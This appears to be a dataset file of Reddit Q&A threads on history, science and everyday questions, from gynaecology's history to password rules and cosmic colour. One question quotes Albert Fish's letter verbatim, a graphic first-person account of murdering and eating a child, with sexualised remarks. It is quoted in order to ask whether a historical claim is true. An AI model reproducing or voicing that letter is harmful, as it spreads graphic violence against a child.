{"q_id": "8ivmvz", "title": "Women's sexuality has, throughout history, almost always been misunderstood, feared, or controlled. How did the growth of the medical field of Gynecology fit into this?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8ivmvz/womens_sexuality_has_throughout_history_almost/", "answers": {"a_id": ["dyv7f7z"], "score": [1122], "text": ["Gynaecology was largely used a method of controlling women's bodies, and participated in wider assumptions about gender. This began with classical scholars such as Aristotle, Galen and Hippocrates, who argued that females were fundamentally different in terms of structure than men, and a departure from the norm. By around the thirteenth century, this works had been translated into Latin and introduced to the learned elite. Because these scholars were so appreciated by humanists, a lot of their medical writing went unchallenged and so this filtered into medieval and Renaissance thought.\n\nDuring the fifteenth, sixteenth and seventeenth centuries there was heightened interest in anatomy and dissection, and for those interested in studying female anatomy the central focus of this was the womb, largely because of the primogeniture system of society. Paternity was fragile, and female fidelity was crucial to this, so medicine began to be used in a way to justify women's roles as mothers above all else.\n\nAlthough human dissection was rare (particularly of women) the most ludicrous theories about female anatomy were dispelled in this way, but beliefs about the womb were simply adapted to fit new evidence, rather than dismiss them completely. The entire idea around analysing women was to understand how exactly women were these imperfect versions of men, and uncover the \"secrets of women\", a popular phrase used then to refer to their sexual reproductive organs. The De Secretis Mulierum argued that the womb cured ailments, and in turn men could expel sicknesses in the womb. Another writer at the time, Joubert, argued that the womb's temperature was important - baby girls needed to be kept warmer than baby boys as they needed longer to reach maturity. These texts were therefore being used as tools to justify femininity as weak whilst claiming 'real' medical evidence to back it up, in an attempt to gain some control back over the uncertainty of paternity. These medical texts emphasised male strength in sperm, whilst the woman's womb was weak, bolstering the importance of the father and diminishing the mother's influence.\n\nIt was entirely the womb that dominated female anatomy - showing the male almost obsession with it. This was because in their eyes, the womb was a woman's only purpose: being a mother. The other side to this was menstruation, which was seen as punishment from Eve's downfall, and a way of punishing women for their sexual desires. Monstrous birth stories in the sixteenth century were always blamed on a woman being too sexual. However, it was acknowledged to be essential and many medical texts offered remedies to provoke it rather than suppress it because it was a sign of fertility; women were just expected to feel guilty about it. It was also used as a way to justify women not be suitable for learning, because it was said to deaden their brain, and instead it was suited for motherhood because in being with a man they receive heat and this warms up their \"frigid natures\"! \n\nPregnancy obviously also dominated gynaecological thought. Bastard children were blamed solely on mothers and their sexual depravity, and it was believed that women controlled which gender a child was. The ideal case was a son who resembled their father as this meant the female aspect was completely sacrificed.\n\nIn conceiving a child a woman could not show herself to be sexual, because it was believed that a woman who had lots of sexual itnercourse produced weak foetuses, or none at all. Their looks were judged upon also and only one person (Savonarola) acknowledged the idea that a woman should enjoy the sex to conceive, advising rubbing her clitoris and caressing her nipples! Although some others believed women orgasming was necessary, it wasn't so that she could enjoy it, but more to speed the process up.\n\nOverall, women were viewed as sexual, destructive and dangerous people who needed to be controlled, and the field of gynaecology contributed to this by having a medical justification and a biological basis to societal concerns. They were able to rationalise a lot of thought at the time, and through the development of this field, established a male authority on \"women's secrets\" that took over from wise women and midwives. There was an overall distrust of female control of sexuality and motherhood was the way to control this by spouting ideas that it helped their health, and they were inherently weak and depended upon men.\n\nGynaecology was a way of asserting power over women,\nand sex differences in general were used to define and shape society. Gender roles were a powerful tool for submission, and it was this representation of all that a \u201cWoman\u201d should be, through the trusted authority of medicine, that allowed them to separate men and women further.\n\n\n\n\nReferences (and recommended reading if you're interested in this topic):\n\nMaryanne Cline Horowitz, 'Aristotle and Woman' Journal of the History of Biology, vol.9, no.2 (1976)\nLesley Ann Dean-Jones, Women's Bodies in Classical Greek Science (Oxford, 1996)\n\nIan Maclean, The Renaissance Notion of Woman: A Study in the Fortunes of Scholasticism and Medical Science in Europe (Cambridge, 1983)\n\nCadden, Joan, Meanings of Sex Difference in the Middle Ages: Medicine, Science, and\nCulture (Cambridge, 1993)\n\nCanning, Kathleen, Gender History in Practice: Historical Perspectives on Bodies, Class,\nand Citizenship (Ithaca, 2006)\n\nGreen, Monica, \u2018Gendering the History of Women\u2019s Healthcare\u2019, Gender and History,\nvol.20, no.3 (2008), pp.487-518.\n\nGreen, Monica, Making Women\u2019s Medicine Masculine: The Rise of Male Authority in Pre-\nModern Gynaecology (Oxford, 2008)\n\nPark, Katharine, \u2018Dissecting the Female Body: From Women\u2019s Secrets to the Secrets of\nNature\u2019, in Seeff, Adele, and Donawerth, Jane, (eds.), Attending to Early Modern Women\n(London, 2000), pp.29-47.\n\nPark, Katharine, Secrets of women: gender, generation, and the origins of human dissection\n(New York, 2006)\n\nI did my dissertation on this exact topic, so feel free to PM me if you have any other questions :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "kgxia", "title": "I cleaned an aluminum pot with bleach, then boiled water. Got blackish oxidation. What did I accidentally?", "selftext": "I cleaned an aluminum pot with bleach, namely a cheap brand with 5 % Natriumhypochlorit (NaClO) in it. I then boiled water in the pot. \n\n\nI got a blackish oxidation on the inside of the pot, just up to the level where boiling water was present. \n\n\nWhat did I accidentally produce? More importantly, is it harmful? I am in the process of producing fresh water to keep for storage and would like to keep using the pot.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kgxia/i_cleaned_an_aluminum_pot_with_bleach_then_boiled/", "answers": {"a_id": ["c2k5ngi", "c2k5ngi"], "score": [20, 20], "text": ["You accidentally the oxide layer.\n\nBleach destroys the aluminum oxide formed by anodization, which is in a nice hard crystal orientation, and therefore exposed it to passive oxidation, which created the unpleasant powdery oxide that gets everywhere.\n\nUnfortunately, short of re-anodizing the pot, it's pretty much permanent.", "You accidentally the oxide layer.\n\nBleach destroys the aluminum oxide formed by anodization, which is in a nice hard crystal orientation, and therefore exposed it to passive oxidation, which created the unpleasant powdery oxide that gets everywhere.\n\nUnfortunately, short of re-anodizing the pot, it's pretty much permanent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2anbj9", "title": "Serial killer Albert Fish's letter sent to one of his victim's mother mentioned that in the late 1800s a friend of his went to China, witnessed mass trade of human children for food/cannibilism, resulting in his taste for human flesh when he came back. How accurate is this?", "selftext": "Here is the occasionally NSFW text of the letter he sent ([source](_URL_0_)):\n\n > Dear Mrs. Budd. In 1894 a friend of mine shipped as a deck hand on the Steamer Tacoma, Capt. John Davis. They sailed from San Francisco for Hong Kong, China. On arriving there he and two others went ashore and got drunk. When they returned the boat was gone. At that time there was famine in China. Meat of any kind was from $1\u20133 per pound. So great was the suffering among the very poor that all children under 12 were sold for food in order to keep others from starving. A boy or girl under 14 was not safe in the street. You could go in any shop and ask for steak\u2014chops\u2014or stew meat. Part of the naked body of a boy or girl would be brought out and just what you wanted cut from it. A boy or girl's behind which is the sweetest part of the body and sold as veal cutlet brought the highest price. John staid there so long he acquired a taste for human flesh. On his return to N.Y. he stole two boys, one 7 and one 11. Took them to his home stripped them naked tied them in a closet. Then burned everything they had on. Several times every day and night he spanked them \u2013 tortured them \u2013 to make their meat good and tender. First he killed the 11 year old boy, because he had the fattest ass and of course the most meat on it. Every part of his body was cooked and eaten except the head\u2014bones and guts. He was roasted in the oven (all of his ass), boiled, broiled, fried and stewed. The little boy was next, went the same way. At that time, I was living at 409 E 100 St. near\u2014right side. He told me so often how good human flesh was I made up my mind to taste it. On Sunday June the 3, 1928 I called on you at 406 W 15 St. Brought you pot cheese\u2014strawberries. We had lunch. Grace sat in my lap and kissed me. I made up my mind to eat her. On the pretense of taking her to a party. You said yes she could go. I took her to an empty house in Westchester I had already picked out. When we got there, I told her to remain outside. She picked wildflowers. I went upstairs and stripped all my clothes off. I knew if I did not I would get her blood on them. When all was ready I went to the window and called her. Then I hid in a closet until she was in the room. When she saw me all naked she began to cry and tried to run down the stairs. I grabbed her and she said she would tell her mamma. First I stripped her naked. How she did kick \u2013 bite and scratch. I choked her to death, then cut her in small pieces so I could take my meat to my rooms. Cook and eat it. How sweet and tender her little ass was roasted in the oven. It took me 9 days to eat her entire body. I did not fuck her tho I could of had I wished. She died a virgin.\n\n[Source.](_URL_0_)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2anbj9/serial_killer_albert_fishs_letter_sent_to_one_of/", "answers": {"a_id": ["ciwylig", "ciwyx2i", "cix044x", "cixeddb"], "score": [78, 32, 125, 12], "text": ["I'm not familiar with any cases of cannibalism in either Hong Kong or during this time period. However I did write a research paper on supposed cases in southern China during the Great Leap Forward and the resulting famine. \n\nThere's a book I used for my paper that recounts purported cases throughout that period of Chinese history. I forget the book's name and scholar's name but it mainly focused around some grim cases in Guizhou. \n\nRecently I finished the book The Corpse Walker which is a series of oral interviews by a well known Chinese writer Liao Yiwu. Within the book he interviews two different people who attest to witnessing examples of cannibalism during the Great Famine. I bring this up because one man in particular goes into great detail about he and his patrol unit breaking up a cooking party in which a family was cooking their daughter for food. \n\nLast, and more related to your time frame than the above, is that some scholars have argued that the subject theme of Lu Xun's Diary of a Madman hints that cannibalism, while taboo, may have been somewhat common knowledge. Whether it was true or just a feared subject is a different matter. ", "Related to the OP's question - could this have had a basis in anti-Chinese literature/propaganda from the time?", "I don't see a specific textual echo, but compare to the memoirs of George Psalmanazar, the famous fraudster.\n\n_URL_0_\n\nPsalmanazar was an early eighteenth-century personality who showed up in England claiming to be a self-exiled prince of Formosa (aka Taiwan).  He enjoyed celebrity for some time with his book - a fictitious travelogue -and his excellence at conversation.  He would tell tall tales, speak \"Formosan\" at parties,  & c.  It's all pretty fun and madcap.\n\nThe key part though is that he describes a similar mass-slaughter and cannibalism of children in Formosa, albeit ritualistically in this case:\n\n > Annually they sacrificed the hearts of 18,000 young boys to gods and priests ate the bodies. \n\nPsalmanazar's book was really popular.  Swift cites him as an authority on the feasibility of cannibalism in *A Modest Proposal* (a joke on Swift's part, as Psalmanazar had many skeptics, and had been exposed as a lovable fraudster by the time that Swift wrote).  \n\nHow popular was it by the late nineteenth century?  I have no idea, but the legend of China as a meat market for children's flesh had been long in play, and might have, if indirectly, informed this crazy person's ideas.  Even the \"eat children as a response to starvation\" aspect just sounds like Swift to me, and I know people were still reading Swift in the late nineteenth century (*Gulliver's Travels* has never been out of print).", "A good place to start might be Mike Davis's *Late Victorian Holocausts.* On page 76 he writes of the 1878 famine, \"[Missionary Timothy] Richards later discovered human meat being sold openly in the streets and heard stories of \"parents exchanging young children because they could not kill and eat their own.\" He quotes the journalist Francis Nichols as saying the following about the famine of 1901: \"By-and-by human flesh began to be sold in the suburbs of Sian. At first the traffic was carried out clandestinely, but after a time a horrible kind of meat ball, made from the bodies of human being who had died of hunger, became a staple article of food, that was sold for the equivalent of about four American cents a pound.\" p.178\n\nI could probably find more, but it has a piss-poor index without a mention of cannibalism!"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Albert_Fish#Letter"], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/George_Psalmanazar"], []]}
{"q_id": "3dq6ku", "title": "In Nazi Germany, how common was it to end a letter with \"Heil Hitler\"?", "selftext": "I am currently reading a biography of the German mathematician Gerhard Gentzen and I have noticed that some, but not all, of his letters are signed off with a variation on \"Heil Hitler.\" \n\nHow common a practice was this and did it have special significance compared to other ways of ending a letter?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3dq6ku/in_nazi_germany_how_common_was_it_to_end_a_letter/", "answers": {"a_id": ["ct7rupc", "ct7wt12", "ct7ydj0"], "score": [76, 10, 49], "text": ["Related to that, did people (such as soldiers) automatically respond to \"Heil Hitler\" by repeating the phrase while saluting? I've seen it a few times in movies and tv shows, and was wondering if that was actually practiced. ", "Related question....was there a 'Heil Deutschland' or equivalent used?", "It was expected and became common practice to end letters with \"Heil Hitler\" or with the phrase \"mit deutschem Gru\u00df\" (with German greetings). All official administrative correspondence used \"Heil Hitler\" and it was the norm among supporters of the Nazi party. Omitting could already be considered a subtle form of resistance, especially if in response to a document which included the phrase.\n\nI can't cite a specific source off the top of my head, the above is based on my research work in German archives. What struck me, was that often the \"Heil Hitler\" at the end of letters came across almost as comical, when the document in question was extremely mundane, like a report about overflowing sewage pipes..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8amp6r", "title": "why do so many password requirements specifically forbid spaces?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8amp6r/eli5_why_do_so_many_password_requirements/", "answers": {"a_id": ["dwzvedp", "dwzvvzt", "dwzwtp1", "dwzym5w"], "score": [5, 58, 35, 6], "text": ["There's no *technical* reason for this, and quite honestly I've not seen many password requirement that actually *forbid* spaces. \n\nMost password requirements will tell you want they *require*, and that will be letters and numbers and occasionally a *selection* of special characters. \n\nIn the Olden Days, when password lists were often pre-printed, password generators would avoid letters or symbols that could cause confusion. For example, depending on the font used, the number 1, lowercase L and uppercase I can easily be confused. A space would also be one of those characters that can easily be missed in those cases.", "Because they have always had that requirement. \n\nMany years ago, passwords were stored as plain text in a database, or sometimes in a text file. When the computer read the password back from storage to compare it against the one it just got from a logging in user, a space in the password could be interpreted as the end of the password. This caused issues when comparing the passed password to the stored one. \n\nIssues could also be caused by certain special characters ( like \u2018 and $) being used, that also meant something to the computer program, causing confusion and errors. So many times some special characters were not allowed either. Also, many programs had a tight limit on their storage space, so password length was also restricted. \n\nSince then, standards have changed, passwords normally aren\u2019t stored directly anymore (T-Mobile????) Instead, a password is fed into a complex math problem and the result is stored. This means that most of the limitations that were imposed by the previous issues no longer apply. Unfortunately, the past rules are still used, even though they\u2019re not needed, because they worked before and people are used to them.  ", "[Relevant XKCD ](_URL_0_) \n\nPasswords would be far more memorable if they allowed spaces, and unlimited characters.  \n\n\u201c1@Mth3Hax0R\u201d is memorable enough, but really not that secure. It\u2019s going to be included in a basic library for password cracking so it would only take seconds to crack. Where \u201cPeter hungry 3 lightpoles on LEFT\u201d would take months if not years to brute force. \n\nLPT: Anytime you\u2019re  limited to 8 or 12 characters, You can be relatively certain that the password is being stored in plain text. \n\nEdit: this was actually meant to be a reply to OP on my other comment.  ", "Back in the day, certain special characters like space were used as delimiters.  Between filenames, programming languages, and command line interfaces, it has hard to remember when it was allowed, when it wasn't, and when it was allowed with special handling.  What's more, using a special character where you weren't supposed to could cause an error, result in wrong behavior, or even create a security vulnerability.  Even when it was allowed, it could be a pain in the ass, your program crashing because someone put an unseen space at the end of a filename.  Rather than try to keep track of it all, it was just easier to not use the space and use _ instead, and this became policy, whether it was necessary or not.\n\nFast forward about 20 years, computers and computer interfaces are more sophisticated, and data sanitation is a thing.  There are few places where a space cannot be used like any other character, but a lot of those old policies remain.  There are still some decent arguments against using whitespace in general, if you want your password to be  < tab >  < space >  < linefeed >  < tab >  < carriage return >  < vertical tab > , you deserve whatever happens to you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://xkcd.com/936/"], []]}
{"q_id": "24rwek", "title": "What's the advantage of using more turns with the same ratio on a transformer?", "selftext": "If a transformer has Tp = 300, Ts = 500 what's the advantage over using the same ratio with less turns (eg Tp = 3, Ts = 5)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/24rwek/whats_the_advantage_of_using_more_turns_with_the/", "answers": {"a_id": ["cha53lx", "chalf8m"], "score": [74, 2], "text": ["Well, first of all, what's a transformer? Its a coupled inductor. \n\nSo increasing the number of turns on the primary of the transformer increases its inductance and hence its reactance at a given frequency, reducing its reactive load on whatever is driving the primary when no power is being drawn by the secondary.\n\nIn practical transformers, the number of turns in the primary, and as a result the secondary, are a careful optimization between core losses, copper losses, operating frequency, and size.\n\nOperating frequency can have a dramatic effect on how much power you can stuff through a transformer of a given size. For example, an old-school \"wall wart\" that's perhaps 2\" cube can put out maybe 10 watts. The same size wall wart operating at 400KHz can easily handle 85 watts (Example: Apple Macbook power adapter). Newer switching power supplies operating in the 2MHz range could probably push this to nearly 200 watts.\n\nSee: _URL_1_\n\nThis is possible because the transformer's high operating frequency reduces the number of turns required in the transformer primary. Less turns means a shorter length of wire, and less resistance. Less resistance means less heat dissipation for a given amount of power, and as a result, more power.\n\nHere's the whole design process, written-up by a company that makes transformers:\n\n_URL_0_\n\n\n\n\n", "An easy example is the reactive impedance of an inductor(coil of wire) is 2pi times frequency times inductance.  So say you want the impedance to be so high, but at the same time you want to operate at a lower frequency. We can adjust the number of turns of wire to raise inductance (proportional to the number of turns and diameter of wire used) to counteract the change in frequency and keep the impedance at the desired value."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.coilcraft.com/pdfs/doc627_Power_transformer_design.pdf", "http://finsix.com/dart/"], []]}
{"q_id": "28lh94", "title": "what are the voting changes on reddit?", "selftext": "I've read the post explaining it but I don't understand. What is going on with the voting system? Why does everyone keep commenting ( ? , ? )? What does any of this have to do with RES? I have seen ( ? , ? ) on RES but I don't know what that means.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28lh94/eli5_what_are_the_voting_changes_on_reddit/", "answers": {"a_id": ["cic26x2", "cic826s"], "score": [5, 5], "text": ["From what I understand, it is because Reddit changed the voting system so you no longer see how much karma a post has received. ", "The simplest way to explain it is that now instead of seeing the number of upvotes and downvotes next to each other, like this:\n\n(+197, -150)\n\nIt now shows it as just one number that's the sum of the two.\n\n(+47)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1tccol", "title": "gorillas vs chimps mating habits", "selftext": "How come Gorillas have one dominant male that all the females mate with while Chimps and Humans seem to be more lax about less dominant males finding mates and having babies? I've had one response which said that Gorillas depend more on the genetic lottery and that Chimps depend more on their brains. But if that's true wouldn't you need Gorillas to be stupid? My understanding is they are very intelligent and can be taught sign language among many other things.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tccol/eli5_gorillas_vs_chimps_mating_habits/", "answers": {"a_id": ["ce6klg7"], "score": [2], "text": ["There's no easy answer to that one. Chimps aren't quite as straight forward as that. They have complicated social structures with a dominant male leading the group and several beta males that are part of the group in a much reduced social standing.\n\nChimps are also omnivorous, sometimes actively hunting (although chimps and bonobo's have significant differences there) while gorillas are pretty much exclusively herbivorous aside from the occasional snacking of insects. They have very different lifestyles.\n\nSo instead of saying chimps rely more on their brains, it would be more fair to say that chimps have a much more political social structure. Sometimes the alpha chimp isn't the strongest one but the one most able to manipulate the other chimps to his advantage.\n\nWhere chimpanzee social groups are very fluid with individual members rising and falling in status, gorilla social groups simply consist of a silver back male leading a group of females and offspring. The silver back isn't the male of the highest stature, he's the protector of his family group.\n\nI suppose you could summarize it as chimpanzee's have a society while gorilla's live in family groups."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4im7u4", "title": "Wars within the last century or so have focused a great deal on destroying vital resources of enemy nations. Was there ever \"resource warfare\" in earlier eras, such as the Middle Ages or the Renaissance?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4im7u4/wars_within_the_last_century_or_so_have_focused_a/", "answers": {"a_id": ["d2zrc36"], "score": [4], "text": ["The English tactic of the Chevauchee during the Hundred Years War was exactly that kind of economic warfare. By devastating swathes of French territory, reducing the income of the King of France through taxation, the English reduced the French ability to raise or pay armies and made French resistance to English conquest so much harder. An accessible on-line source is here _URL_0_ and is discussed in more detail here _URL_2_\nThe \"Harrying of the North\" by William was a similar campaign of devastation to render the North of England incapable of supporting an army that might have come from Scandinavia to challenge the Normans. Medieval Italian armies often included \"guastatori\" (spelling!?) described as \"devastators\" whose role was to destroy vines and olive trees as part of the same kind of economic warfare. Described in Mallet's \"Mercenaries and their Masters\" _URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://europeanhistory.about.com/od/thehundredyearswar/fl/The-Chevaucheacutee.htm", "https://books.google.co.uk/books/about/Mercenaries_and_Their_Masters.html?id=VMQqAQAAMAAJ&amp;redir_esc=y", "http://ebooks.cambridge.org/ebook.jsf?bid=CBO9781139167789"]]}
{"q_id": "4f2n6m", "title": "Is there any difference between mass granted by the Higg's mechanism versus mass granted by the Strong force?", "selftext": "Forgive my terminology, but as I understand it, the Higg's field creates mass for elementary particles, but the vast majority of mass we see is a result of the strong force holding together bundles of quarks and nucleons.  How is it that these 2 seemingly different mechanisms result in something that on our scale look like exactly the same thing?  Does mass created by the strong force interact with the Higg's field?  Does mass created by the Higg's field interact with the curvature of spacetime?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4f2n6m/is_there_any_difference_between_mass_granted_by/", "answers": {"a_id": ["d25kuci", "d25oltn"], "score": [15, 2], "text": [" >  Is there any difference between mass granted by the Higg's mechanism versus mass granted by the Strong force?\n\nNo, there is no difference.\n\n >  How is it that these 2 seemingly different mechanisms result in something that on our scale look like exactly the same thing?\n\nBecause both mechanisms are doing the same thing: confining energy. The strong force confines the energy of particles with color charge into a small amount of space, and the Higgs mechanism confines the energy of particles that interact with the Higgs into a small amount of space. In both cases, mass essentially results from the relation E=mc^2 , by virtue of the respective forces confining energetic particles and thus giving them some average rest frame. \n\nAn advanced undergraduate-level exercise, which might help, is to show that a photon trapped in a massless mirror-box has an effective mass given by E=mc^2 . It doesn't matter what forces hold the mirror-box together; what matters is that energy is confined. \n\n\n", "The Higgs field creates an additional potential energy for the elementary (particle) fields it interacts with (electrons, quarks, and the weak force). Therefore, any excitation ( = particle) of these fields costs additional potential energy. This potential energy is seen as mass (E = m c^2 ).\n\nThe strong force gives rise to a very strong attraction of opposite colour charges. This gives rise to a form of potential energy for all colour-charged particles (quarks and gluons), which is also seen as mass.\n\n >  How is it that these 2 seemingly different mechanisms result in something that on our scale look like exactly the same thing?\n\nBoth mechanisms result in an (additional) energy-cost for having a particle. This is equivalent to the particle gaining mass, according to E = m c^2 .\n\n >   Does mass created by the strong force interact with the Higgs field?\n\nNo, the Higgs field interacts with the fields I mentioned above in such a way that their particles gain mass. It does not simply interact with mass the way gravity does.\n\n >  Does mass created by the Higg's field interact with the curvature of spacetime?\n\nYes, all forms of mass are treated equally by gravity (= spacetime curvature)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "aa7cha", "title": "if i get shanked, are my individual cells being cut into pieces or are they being cut around/between?", "selftext": "There was an /r/AskScience thread about this, but I didn't really understand the answers.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aa7cha/eli5_if_i_get_shanked_are_my_individual_cells/", "answers": {"a_id": ["ecpli2t", "ecq0crm"], "score": [13, 3], "text": ["On the scale of individual cells they are really going to be more crushed and torn than cut, but there certainly will be a lot of cells destroyed in that way. However what is most important to you, to whole person, is that the cells are being cut around and between. That the cells which actually had their cell walls broken are destroyed isn't as important as the flesh being ruptured in the large scale.", "_URL_0_\n\nThe knife doesn't cut cells, it's too thick. You may think blades are sharp but cells are really thin. The knife crushes cells in its path, and pushes aside ones further away."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://m.youtube.com/watch?v=mRuSYQ5Npek&amp;feature=youtu.be"]]}
{"q_id": "2przo5", "title": "why i shouldn't buy $300 in rubles right now.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2przo5/eli5why_i_shouldnt_buy_300_in_rubles_right_now/", "answers": {"a_id": ["cmzh2tl", "cmzh62m", "cmzi1nr"], "score": [6, 12, 6], "text": ["\"Buy low, Sell high\" is an over-simplification of the concept of the value of commodities and equities.  In a very crude form, that is a good philosophy.  However, \"Buy low\" doesn't work if the value falls even lower.\n\nWhen you buy an equity or commodity, your only concern is, \"Do I think this will be worth more or less in the future?\"  The value of the item in the past is technically irrelevant.  A \"rebound\" is a human term applied to a concept that is not relevant to the value of something.\n\nAs to the value of the Ruble returning to its former value... Who knows?  It's a gamble.  For the actual risks involved... better to consult a financial expert who is intimately familiar with the situation and the Russian economy.\n\nYes... There have been many occasions when a nation's currency did not recover.\n\nYour currency could become worthless, or it could be \"Re-Valued.\"  For example:  300 \"Old Rubles\" could become equal to 3 \"New Rubles.\"", "Forex trader here. \n\n\nThe reason is due to not knowing WTF the market is going to do. \n\nUSDRUB still has no clear structure as to what it'll do, and at any moment you may lose your investment to minor changes due to the high volatility of the pair. \n\nWhen I say minor changes will move it dramatically, I mean it. \n\nThere are safer investments out there besides USDRUB simply because it's not predictable at its current state. You will literally be gambling at this point. \n\nMy two cents. ", "ELI5: \"never try to catch a falling knife\" is another investment wisdom, and one which applies in nearly all \"omg how much lower can it go\" scenarios.\n\nSure, if you catch it at the exact right time, great, but you're more than likely to end up in a \"fail compilation\" on youtube, especially as, in this this case, you're catching the knife while blindfolded. I.e.,  you have no information whatsoever as to whether the point at which you buy is the \"low point\". \n\nAnd yes, there have been a lot of instances where currencies never \"recover\". It's important to note that there actually isn't any rule that says a ruble must be worth \"x\" dollars at any given point in time. Even if a country gets tired of paying for everything in millions in an otherwise civilised country (see: italian lira for a recent example), they can just up and \"redefine\" the new ruble to be worth a million \"old rubles\".\n\nExample of the falling knife thing: if I told you a 150 year old company managing over 270 billion in assets, and having increased net revenues over 600% from $2.73 billion to $19.2 billion over the last fourteen years, and widely considered \"too big to fail\" and of critical importance to the nation's economy, had ran into some trouble and lost 73% of it's value in the beginning of this year. Interested? Great, you just bought stocks of lehman brothers in the month before total failure.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4ytk40", "title": "What is the most common colour in the universe?", "selftext": "To Clarify; Mean, Median and Mode.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4ytk40/what_is_the_most_common_colour_in_the_universe/", "answers": {"a_id": ["d6qdkdr", "d6qe8ff", "d6qk3zr", "d6qy1tf", "d6x8ubn"], "score": [2647, 383, 58, 8, 2], "text": ["The most common photon in our universe are the photons from the cosmic microwave background radiation which is the afterglow from the big bang. These photons wave a wavelength of around 1 mm which our eyes cannot see. Check out Fig. 4 of this paper,\n\n* Lacki, Brian C. \"The end of the rainbow: what can we say about the extragalactic sub-megahertz radio sky?.\" Monthly Notices of the Royal Astronomical Society 406.2 (2010): 863-880. _URL_0_\n\nHowever, if you're interested in the optical band which our eyes can actually see, then the color red (~0.7 microns) is the most common color in the universe. The local peak near this wavelength though is firmly in the infrared (near 1 micron) and is referred to as the cosmic optical background (COB or CUVOB if UV is included) radiation. Check out Fig. 5 here,\n\n* Pozzetti, Lucia, and Piero Madau. \"The optical extragalactic background light from resolved galaxies.\" Arxiv preprint astro-ph/0011359 (2000). _URL_4_\n\nThere are also the cosmic infrared (CIB), x-ray (CXB), radio (CRB) and gamma (CGB) backgrounds. These figures are looking at the aggregate background of light of the whole universe and not just nearby sources which can dominate locally.  \n\nEdit1: Here's another couple page describing it,  \n\n* _URL_1_  \n\n* _URL_3_\n\nIt is also important to note that power distribution is weighted differently than the photon number distribution and that gives quite a bit of perspective. The CMB is much more intense than the COB, but each CMB photon carries substantially less energy than optical/infrared light. If we redrew the plots (which are already in log scale) using photon number, it'd be even more lopsided.\n\nEdit2: Here's a review article on the subject of CIB, but has a relatively non-technical section on the COB\n\n* Hauser, Michael G., and Eli Dwek. \"The cosmic infrared background: measurements and implications.\" arXiv preprint astro-ph/0105539 (2001). _URL_2_  \n\nAnd a neat Scientific American article on cosmic backgrounds and where they come from,  \n\n* _URL_5_", "Not the most common, [but cosmic latte is the average!](_URL_0_)", "Besides the cosmic background, most stars are red dwarfs. Although they're very dim (you can see none by naked eye), they're numerous. [This astrophotograph](_URL_0_) shows what I mean. Also, when light or medium-mass stars age, they become red giants, which are bright and red. The \"cosmic latte\" is a sum of red + brighter green and blue light from bright or young stars, but the balance tilts towards red.\n\nBesides that, the hydrogen alpha line from ionized hydrogen is also red. Hydrogen being common, this is a very common color in ionized gas clouds. ", "Just because we can change appearances of light within the visible spectrum, which is entirely caused because of the presence of photons, to create certain colours, the absence of photons logically wouldn't really be a colour. \n\nIt would appear like what black is but it isn't a pigment that's causing darkness to look black, but the absence of photons itself. \n\nWouldn't you say black is my default colour of vision if  you were 100% blind, or would you rather say \"I do not see any colour? \"\n\nA colour is distinctly a colour because we can differentiate it with respect to other colours. But the absence of the same does not warrant it to qualify as a colour is what I feel. ", "I know it's been a while since this and I just revisited this thought. Not to pose an argument or anything. \n\nDon't you think the way we perceive anything is too linear for reality? Like scales of colour, measurement, happiness and sadness, emotion, basically everything that's relative. I feel this is a drawback in human thought as most things in reality are non-linear. We represent colour over a spectrum which is mostly linear which is why we perceive white and black as extremes. If white and black were perceived without scale and just as different combinations not representable linearly then we probably wouldn't even try to categorise the colour of emptiness and probably wouldn't call water \"colourless\". \n\nJust a thought. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://arxiv.org/abs/1004.2049", "http://www.astro.ucla.edu/~wright/CIBR/", "https://arxiv.org/abs/astro-ph/0105539", "http://www.ias.u-psud.fr/irgalaxies/SpitzerPR2006/", "https://arxiv.org/pdf/astro-ph/0011359v1.pdf", "http://www.scientificamerican.com/article/background-noise-space/"], ["https://en.m.wikipedia.org/wiki/Cosmic_latte"], ["https://upload.wikimedia.org/wikipedia/commons/7/7d/Scattered_stars_in_Sagittarius.jpg"], [], []]}
